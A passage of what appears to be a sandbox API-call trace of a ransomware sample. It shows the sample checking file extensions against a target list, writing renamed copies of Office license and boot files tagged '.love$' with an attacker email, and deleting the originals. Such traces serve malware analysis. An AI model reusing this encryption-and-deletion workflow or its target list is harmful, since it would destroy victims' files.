(lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82 [0281.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82 [0281.186] lstrlenW (lpString=".doc") returned 4 [0281.186] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0281.186] lstrlenW (lpString=".docx") returned 5 [0281.186] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0281.186] lstrlenW (lpString=".pdf") returned 4 [0281.186] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0281.186] lstrlenW (lpString=".xls") returned 4 [0281.186] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0281.186] lstrlenW (lpString=".xlsx") returned 5 [0281.186] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0281.187] lstrlenW (lpString=".ppt") returned 4 [0281.187] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0281.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82 [0281.187] lstrlenW (lpString=".zip") returned 4 [0281.187] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0281.187] lstrlenW (lpString=".rar") returned 4 [0281.187] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0281.187] lstrlenW (lpString=".bz2") returned 4 [0281.187] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0281.187] lstrlenW (lpString=".7z") returned 3 [0281.187] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0281.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82 [0281.187] lstrlenW (lpString=".dbf") returned 4 [0281.187] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0281.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82 [0281.187] lstrlenW (lpString=".1cd") returned 4 [0281.187] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0281.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82 [0281.187] lstrlenW (lpString=".jpg") returned 4 [0281.187] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0281.187] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0281.187] lstrlenW (lpString="O365ProPlusR_Subscription2-pl.xrm-ms") returned 36 [0281.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0281.189] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=11195) returned 1 [0281.189] CloseHandle (hObject=0x3f4) returned 1 [0281.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms")) returned 0x220 [0281.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0281.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0281.194] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.194] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0281.196] GetLastError () returned 0x0 [0281.196] ReadFile (in: hFile=0x3f4, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x2bbb, lpOverlapped=0x0) returned 1 [0281.218] WriteFile (in: hFile=0x4e0, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0281.220] ReadFile (in: hFile=0x3f4, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0281.220] WriteFile (in: hFile=0x4e0, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x11c, lpOverlapped=0x0) returned 1 [0281.220] SetEndOfFile (hFile=0x4e0) returned 1 [0281.230] CloseHandle (hObject=0x4e0) returned 1 [0281.232] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.232] SetEndOfFile (hFile=0x3f4) returned 1 [0281.303] CloseHandle (hObject=0x3f4) returned 1 [0281.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0281.306] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms")) returned 1 [0281.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86 [0281.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86 [0281.558] lstrlenW (lpString=".doc") returned 4 [0281.558] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0281.558] lstrlenW (lpString=".docx") returned 5 [0281.558] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0281.558] lstrlenW (lpString=".pdf") returned 4 [0281.558] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0281.558] lstrlenW (lpString=".xls") returned 4 [0281.558] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0281.558] lstrlenW (lpString=".xlsx") returned 5 [0281.558] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0281.558] lstrlenW (lpString=".ppt") returned 4 [0281.558] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0281.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86 [0281.558] lstrlenW (lpString=".zip") returned 4 [0281.558] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0281.558] lstrlenW (lpString=".rar") returned 4 [0281.558] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0281.558] lstrlenW (lpString=".bz2") returned 4 [0281.559] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0281.559] lstrlenW (lpString=".7z") returned 3 [0281.559] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0281.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86 [0281.559] lstrlenW (lpString=".dbf") returned 4 [0281.559] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0281.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86 [0281.559] lstrlenW (lpString=".1cd") returned 4 [0281.559] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0281.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86 [0281.559] lstrlenW (lpString=".jpg") returned 4 [0281.559] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0281.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86 [0281.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86 [0281.559] lstrlenW (lpString=".doc") returned 4 [0281.559] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0281.559] lstrlenW (lpString=".docx") returned 5 [0281.559] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0281.559] lstrlenW (lpString=".pdf") returned 4 [0281.559] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0281.559] lstrlenW (lpString=".xls") returned 4 [0281.559] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0281.559] lstrlenW (lpString=".xlsx") returned 5 [0281.559] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0281.559] lstrlenW (lpString=".ppt") returned 4 [0281.560] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0281.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86 [0281.560] lstrlenW (lpString=".zip") returned 4 [0281.560] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0281.560] lstrlenW (lpString=".rar") returned 4 [0281.560] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0281.560] lstrlenW (lpString=".bz2") returned 4 [0281.560] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0281.560] lstrlenW (lpString=".7z") returned 3 [0281.560] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0281.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86 [0281.560] lstrlenW (lpString=".dbf") returned 4 [0281.560] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0281.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86 [0281.560] lstrlenW (lpString=".1cd") returned 4 [0281.560] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0281.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86 [0281.560] lstrlenW (lpString=".jpg") returned 4 [0281.560] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0281.560] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0281.560] lstrlenW (lpString="O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 40 [0281.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0281.768] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=11646) returned 1 [0281.768] CloseHandle (hObject=0x324) returned 1 [0281.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms")) returned 0x220 [0281.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0282.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0282.291] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.291] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440 [0282.295] GetLastError () returned 0x0 [0282.295] ReadFile (in: hFile=0x540, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x2d7e, lpOverlapped=0x0) returned 1 [0282.297] WriteFile (in: hFile=0x440, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2d80, lpOverlapped=0x0) returned 1 [0282.299] ReadFile (in: hFile=0x540, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0282.299] WriteFile (in: hFile=0x440, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x124, lpOverlapped=0x0) returned 1 [0282.299] SetEndOfFile (hFile=0x440) returned 1 [0282.299] CloseHandle (hObject=0x440) returned 1 [0282.300] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.300] SetEndOfFile (hFile=0x540) returned 1 [0282.303] CloseHandle (hObject=0x540) returned 1 [0282.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0282.304] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms")) returned 1 [0282.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90 [0282.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90 [0282.306] lstrlenW (lpString=".doc") returned 4 [0282.306] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0282.306] lstrlenW (lpString=".docx") returned 5 [0282.306] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0282.306] lstrlenW (lpString=".pdf") returned 4 [0282.306] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0282.306] lstrlenW (lpString=".xls") returned 4 [0282.306] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0282.306] lstrlenW (lpString=".xlsx") returned 5 [0282.306] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0282.306] lstrlenW (lpString=".ppt") returned 4 [0282.306] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0282.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90 [0282.306] lstrlenW (lpString=".zip") returned 4 [0282.306] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0282.306] lstrlenW (lpString=".rar") returned 4 [0282.306] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0282.306] lstrlenW (lpString=".bz2") returned 4 [0282.306] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0282.306] lstrlenW (lpString=".7z") returned 3 [0282.306] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0282.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90 [0282.307] lstrlenW (lpString=".dbf") returned 4 [0282.307] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0282.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90 [0282.307] lstrlenW (lpString=".1cd") returned 4 [0282.307] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0282.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90 [0282.307] lstrlenW (lpString=".jpg") returned 4 [0282.307] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0282.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90 [0282.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90 [0282.307] lstrlenW (lpString=".doc") returned 4 [0282.307] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0282.307] lstrlenW (lpString=".docx") returned 5 [0282.307] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0282.307] lstrlenW (lpString=".pdf") returned 4 [0282.307] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0282.307] lstrlenW (lpString=".xls") returned 4 [0282.307] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0282.307] lstrlenW (lpString=".xlsx") returned 5 [0282.307] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0282.307] lstrlenW (lpString=".ppt") returned 4 [0282.307] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0282.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90 [0282.307] lstrlenW (lpString=".zip") returned 4 [0282.307] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0282.307] lstrlenW (lpString=".rar") returned 4 [0282.307] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0282.307] lstrlenW (lpString=".bz2") returned 4 [0282.307] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0282.307] lstrlenW (lpString=".7z") returned 3 [0282.308] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0282.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90 [0282.308] lstrlenW (lpString=".dbf") returned 4 [0282.308] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0282.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90 [0282.308] lstrlenW (lpString=".1cd") returned 4 [0282.308] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0282.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90 [0282.308] lstrlenW (lpString=".jpg") returned 4 [0282.308] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0282.308] lstrlenW (lpString=".id-") returned 4 [0282.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6c52e0 | out: hHeap=0x670000) returned 1 [0282.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70c220 | out: hHeap=0x670000) returned 1 [0282.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x32b1e30 | out: hHeap=0x670000) returned 1 [0282.309] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x32c1e38 | out: hHeap=0x670000) returned 1 [0282.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3db8020 | out: hHeap=0x670000) returned 1 [0282.317] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6c5148 | out: hHeap=0x670000) returned 1 [0282.317] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x4113b30 [0282.317] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x4113b30, Size=0x20) returned 0x41aac18 [0282.317] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x4113c80 [0282.317] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x4113c80, Size=0x20) returned 0x41aac40 [0282.318] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0282.318] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0282.318] Wow64DisableWow64FsRedirection (in: OldValue=0x35aff50 | out: OldValue=0x35aff50*=0x1) returned 1 [0282.318] lstrlenW (lpString="kernel32.dll") returned 12 [0282.318] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41aac40 | out: hHeap=0x670000) returned 1 [0282.318] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0282.318] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41aac18 | out: hHeap=0x670000) returned 1 Thread: id = 50 os_tid = 0xe10 [0222.726] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10000) returned 0x32d1e40 [0222.727] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10000) returned 0x32e1e48 [0222.727] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c5160 [0222.727] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x6) returned 0x70c2f0 [0222.727] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c52f8 [0222.727] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x100000) returned 0x3ec7020 [0222.730] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c5178 [0222.730] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6c5178, Size=0x20) returned 0x6ad6d8 [0222.730] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c5178 [0222.730] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6c5178, Size=0x20) returned 0x6ad598 [0222.730] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0222.731] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0222.731] Wow64DisableWow64FsRedirection (in: OldValue=0x36eff50 | out: OldValue=0x36eff50*=0x0) returned 1 [0222.731] lstrlenW (lpString="kernel32.dll") returned 12 [0222.731] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad6d8 | out: hHeap=0x670000) returned 1 [0222.731] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0222.731] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad598 | out: hHeap=0x670000) returned 1 [0222.731] Sleep (dwMilliseconds=0x64) [0223.079] Sleep (dwMilliseconds=0x64) [0223.280] Sleep (dwMilliseconds=0x64) [0223.565] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0223.566] lstrlenW (lpString="bootspaces.dll") returned 14 [0223.566] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0223.832] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=95648) returned 1 [0223.832] CloseHandle (hObject=0x380) returned 1 [0223.832] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0223.832] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0223.832] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0223.833] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0223.833] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0223.833] lstrlenW (lpString=".doc") returned 4 [0223.833] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0223.833] lstrlenW (lpString=".docx") returned 5 [0223.833] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0223.833] lstrlenW (lpString=".pdf") returned 4 [0223.833] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0223.833] lstrlenW (lpString=".xls") returned 4 [0223.833] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0223.833] lstrlenW (lpString=".xlsx") returned 5 [0223.833] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0223.833] lstrlenW (lpString=".ppt") returned 4 [0223.833] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0223.833] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0223.833] lstrlenW (lpString=".zip") returned 4 [0223.833] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0223.833] lstrlenW (lpString=".rar") returned 4 [0223.833] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0223.833] lstrlenW (lpString=".bz2") returned 4 [0223.833] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0223.833] lstrlenW (lpString=".7z") returned 3 [0223.833] 